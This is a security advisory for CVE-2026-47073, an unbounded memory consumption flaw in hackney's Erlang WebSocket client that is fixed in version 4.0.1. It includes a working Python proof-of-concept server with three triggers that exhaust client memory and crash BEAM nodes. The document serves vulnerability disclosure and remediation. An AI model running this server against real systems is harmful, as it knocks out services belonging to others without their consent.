highCVE-2026-47073Jun 26, 2026

CVE-2026-47073: erlang/hackney WebSocket Unbounded Memory Consumption

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A malicious WebSocket server can drain all memory from any Erlang/Elixir process using hackney's WebSocket client, crashing the BEAM node with no authentication required.

Packagehackney
Ecosystemerlang
Affected>= 2.0.0, < 4.0.1
Fixed in4.0.1

The problem

The WebSocket client in `src/hackney_ws.erl` had no upper bound on memory use across three code paths: the handshake buffer, the frame-payload accumulator, and the fragmentation buffer.

In each path, the per-receive timeout resets on every chunk, so a server that trickles bytes slowly keeps the loop alive while the buffer grows without limit. RFC 6455 allows frame payload lengths up to 2^63-1 bytes, and hackney never validated that declared length against any cap.

Proof of concept

python
#!/usr/bin/env python3
# Attacker-controlled WebSocket server: three OOM triggers
# Trigger A: never complete the HTTP upgrade handshake
# Trigger B: declare a huge frame, drip bytes one at a time
# Trigger C: send endless nofin (non-final) continuation frames

import socket, struct, time, hashlib, base64

HOST, PORT = '0.0.0.0', 8080

def ws_handshake(conn):
    data = b''
    while b'\r\n\r\n' not in data:
        data += conn.recv(4096)
    key = [l.split(b': ')[1].strip() for l in data.split(b'\r\n') if b'Sec-WebSocket-Key' in l][0]
    accept = base64.b64encode(hashlib.sha1(key + b'258EAFA5-E914-47DA-95CA-C5AB0DC85B11').digest()).decode()
    conn.sendall(
        b'HTTP/1.1 101 Switching Protocols\r\n'
        b'Upgrade: websocket\r\n'
        b'Connection: Upgrade\r\n'
        b'Sec-WebSocket-Accept: ' + accept.encode() + b'\r\n\r\n'
    )

def ws_frame(opcode, payload, fin=True):
    """Build a minimal unmasked WebSocket frame."""
    b0 = (0x80 if fin else 0x00) | (opcode & 0x0f)
    length = len(payload)
    if length <= 125:
        header = bytes([b0, length])
    elif length <= 65535:
        header = bytes([b0, 126]) + struct.pack('>H', length)
    else:
        header = bytes([b0, 127]) + struct.pack('>Q', length)
    return header + payload

with socket.socket() as srv:
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(1)
    print(f'Listening on {PORT}')
    conn, addr = srv.accept()
    print(f'Client: {addr}')

    # --- Choose ONE trigger ---

    # TRIGGER A: never send \r\n\r\n; trickle partial HTTP headers forever
    # while True:
    #     conn.sendall(b'HTTP/1.1 101 Sw')   # incomplete, no \r\n\r\n
    #     time.sleep(0.5)

    # TRIGGER B: complete handshake, declare 1 GiB frame, drip 1 byte/sec
    ws_handshake(conn)
    DECLARED_LEN = 1 * 1024 * 1024 * 1024          # 1 GiB
    header = bytes([0x82, 127]) + struct.pack('>Q', DECLARED_LEN)  # binary, fin
    conn.sendall(header)
    while True:
        conn.sendall(b'\x00')               # one byte at a time -> recv_timeout resets
        time.sleep(0.05)

    # TRIGGER C: endless nofin continuation frames -> frag_buffer grows forever
    # ws_handshake(conn)
    # conn.sendall(ws_frame(0x01, b'start', fin=False))   # text, nofin
    # while True:
    #     conn.sendall(ws_frame(0x00, b'A' * 65535, fin=False))  # continuation, nofin
    #     time.sleep(0.01)

All three paths share the same root cause (CWE-400): the accumulation loop appends incoming bytes with no total-size guard. In `parse_payload/9`, every chunk arriving while the parser returns `{more, ...}` is appended via `<<Buffer/binary, MoreData/binary>>` with no ceiling check on `Len`.

The fragmentation path likewise appends continuation frames to `frag_buffer` forever. Because `recv_timeout` is a per-chunk idle timer rather than a wall-clock deadline, a server that trickles one byte just before each timeout window never triggers the timeout, keeping the loop alive indefinitely.

The patch (commit ce0109e2) introduced hard limits derived from what the fix now rejects: frames larger than 16 MiB are refused, accumulated fragmented messages over 64 MiB are rejected, and the handshake response buffer is capped at 64 KiB. Any input that exceeds these thresholds now returns an error tuple instead of growing the buffer.

The fix

Upgrade to hackney 4.0.1 or later. The patch adds `max_frame_size` (default 16 MiB), `max_message_size` (default 64 MiB, cumulative across all fragments), and a 64 KiB cap on the handshake-response buffer. Both limits are configurable as connect options if your application legitimately needs larger frames.

Reported by PJUllrich.

References: [1][2][3][4][5][6]